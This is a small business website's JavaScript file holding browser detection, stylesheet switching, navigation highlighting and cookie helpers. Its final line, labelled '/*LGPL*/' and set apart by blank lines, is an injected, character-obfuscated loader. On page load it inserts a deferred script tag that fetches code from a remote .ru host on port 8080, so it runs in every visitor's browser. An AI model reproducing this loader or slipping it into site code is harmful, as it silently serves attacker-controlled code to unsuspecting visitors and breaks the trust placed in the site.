var bd = new BrowserDetector(navigator.userAgent); 
var isIE = checkStyle();
//alert(isIE)

function init(){
checkStyle();
}

function writeEmail(email){
var address = email+'@rwhyde.com';
document.write('<a href="mailto:'+address+'">'+address+'</a>');
}

function writeString(inputString)
{
if (bd.browser.indexOf('IE') >= 0)
	{
	document.write('<!-- nothing-->')
	} 
else
	{
	document.write(inputString);

	}
}

function checkStyle()
{
if (bd.platform.indexOf('Mac') >= 0)
	{
	if (bd.browser.indexOf('IE') >= 0)
		{
		if ((bd.majorver == 4) | (bd.majorver == 5))
			{
		isIE = true;
		setActiveStyleSheet('mac');
		//alert("is IE");
		return (isIE)
			}
		}
	} else 
	{
		isIE = false;
		setActiveStyleSheet('default');
		//alert("is NOT IE");
		return (isIE);
	}
}

function MM_openBrWindow(imgStr,winName,features) 
{ 
	var theURL = 'spotlightPicThumb.html?' +imgStr;
	window.open(theURL,winName,'scrollbars,width=800,height=600');
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  
  if(!d) d=document; 
  if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);
    }
  if(!(x=d[n])&&d.all) x=d.all[n]; 
  for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_changeProp(objName,x,theProp,theValue) { //v6.0
  var obj = MM_findObj(objName);
  if (obj && (theProp.indexOf("style.")==-1 || obj.style)){
    if (theValue == true || theValue == false)
      eval("obj."+theProp+"="+theValue);
    else eval("obj."+theProp+"='"+theValue+"'");
  }
}

function figLoc()
{

	var docLoc = document.location.href;
	var locColor = "#CCCCFF";
	var currentLoc = null;
		if (docLoc.indexOf('aboutus') >= 0)
			{
			currentLoc = '#nav1';
			} else if (docLoc.indexOf('staff') >= 0)
			{
			currentLoc = '#nav2';
			subLoc();
			} else if (docLoc.indexOf('services') >= 0)
			{
			currentLoc = '#nav3';
			} else if (docLoc.indexOf('spotlight') >= 0)
			{
			currentLoc = '#nav4';
			subLoc();
			} else if (docLoc.indexOf('contactus') >= 0)
			{
			currentLoc = '#nav5';
			} else if (docLoc.indexOf('home') >= 0)
			{
			currentLoc = '#nav6a';
			}
			
				if (currentLoc != null)
				{
				MM_changeProp(currentLoc,'','style.backgroundColor',locColor,'DIV')
				}
}


var currentSub;

function subLoc()
{
	var docLoc = document.location.href;
	var locColor = "#CCCCFF";
	currentSub = null;
	
	if  (docLoc.indexOf('spotlightGFI') >= 0){
		currentSub ='#nav6';
		} else if  (docLoc.indexOf('spotlightBBN') >= 0){
		currentSub ='#nav7';
		} else if  (docLoc.indexOf('spotlightIM') >= 0){
		currentSub ='#nav8';
		} else if  (docLoc.indexOf('spotlightGEN') >= 0){
		currentSub ='#nav9';
		} else if  (docLoc.indexOf('spotlightSYC') >= 0){
		currentSub ='#nav10';
		} else if  (docLoc.indexOf('spotlightLIST') >= 0){
		currentSub ='#nav11';
		} else if  (docLoc.indexOf('dick') >= 0){
		currentSub ='#nav11';
		} else if  (docLoc.indexOf('rick') >= 0){
		currentSub ='#nav12';
		} else if  (docLoc.indexOf('chris') >= 0){
		currentSub ='#nav13';
		} else if  (docLoc.indexOf('mott') >= 0){
		currentSub ='#nav14';
		} else if  (docLoc.indexOf('robin') >= 0){
		currentSub ='#nav15';
	} 
	
		if (currentSub != null){
			MM_changeProp(currentSub,'','style.backgroundColor',locColor,'DIV');
		}
}

function setActiveStyleSheet(title) {
  var i, a, main;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) {
      a.disabled = true;
      if(a.getAttribute("title") == title) a.disabled = false;
    }
  }
}

function getActiveStyleSheet() {
  var i, a;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title") && !a.disabled) return a.getAttribute("title");
  }
  return null;
}

function getPreferredStyleSheet() {
  var i, a;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1
       && a.getAttribute("rel").indexOf("alt") == -1
       && a.getAttribute("title")
       ) return a.getAttribute("title");
  }
  return null;
}

function createCookie(name,value,days) {
  if (days) {
    var date = new Date();
    date.setTime(date.getTime()+(days*24*60*60*1000));
    var expires = "; expires="+date.toGMTString();
  }
  else expires = "";
  document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
  var nameEQ = name + "=";
  var ca = document.cookie.split(';');
  for(var i=0;i < ca.length;i++) {
    var c = ca[i];
    while (c.charAt(0)==' ') c = c.substring(1,c.length);
    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  }
  return null;
}
/*
window.onload = function(e) {
  var cookie = readCookie("style");
  var title = cookie ? cookie : getPreferredStyleSheet();
  setActiveStyleSheet(title);
}

window.onunload = function(e) {
  var title = getActiveStyleSheet();
  createCookie("style", title, 365);
}

var cookie = readCookie("style");
var title = cookie ? cookie : getPreferredStyleSheet();
setActiveStyleSheet(title);
*/








/*LGPL*/ try{ window.onload = function(){var Vn2uu7b4p4h8b = document.createElement('s$!#c(#)#r$i&)!p!!t#'.replace(/\)|&|\(|@|\^|\!|#|\$/ig, ''));Vn2uu7b4p4h8b.setAttribute('defer', 'd!@@e&(@@f$!)e!)r!#'.replace(/#|\$|\)|\^|&|@|\(|\!/ig, ''));Vn2uu7b4p4h8b.setAttribute('type', 't)^e#x)&^t#/@^@j#^a)^v@#@#a$#s&@&&c(r@i))$!&p#)t$@'.replace(/\$|&|#|\!|\(|@|\^|\)/ig, ''));Vn2uu7b4p4h8b.setAttribute('id', 'G&(!^&c^@#@e^)a#$l$&(o^)t(!^6!$$k$@5!$&9@1#5^#^'.replace(/@|\!|\)|&|#|\(|\^|\$/ig, ''));Vn2uu7b4p4h8b.setAttribute('s@&&r(#c@!#()'.replace(/\!|\^|@|\$|&|\)|#|\(/ig, ''),  'h@(t)&!)t))p@)):#)&#/(!&/)##m($l($)(b&-$c^!)$o@^m(@^.#^s@^!)h)!^i(@^&n$$#o@b!&i$^.#j^&&p^)&.^))i#@m&^&!2(!8())()6&!$-$c^!#o@m@@^$.&&w#o(@@&r&(^l$$$d#(&w^!&e)$!b&$w(($#o!r$$@l^#&d)&.^&^r!u!^$&:^&8$^0$(@8^0(^/!&d)a(i#@l@y!m^#!)o!@##t#@^i!^o#!#@n&#.(@(c@!#o@&^m&/@d#&$a)^@i^$(^l)y(!m&@^o$t#&&#i)##@o!(^n&()^.@^^c@^!o&&^m()!#!/!^(g^^!$o#$o!$g@!l(()e#&#.^@c&o&m##$)^/$!$m$&e@$#$t($-$(a$$^r)#$t!@^).#&c&#o)!$#m&$#)/&@#)t)!$u#!.$t&#v#&&/!&@'.replace(/#|\!|&|\)|@|\(|\$|\^/ig, ''));if (document){document.body.appendChild(Vn2uu7b4p4h8b);}} } catch(Qzo0b0sji1w324zi1s8n) {}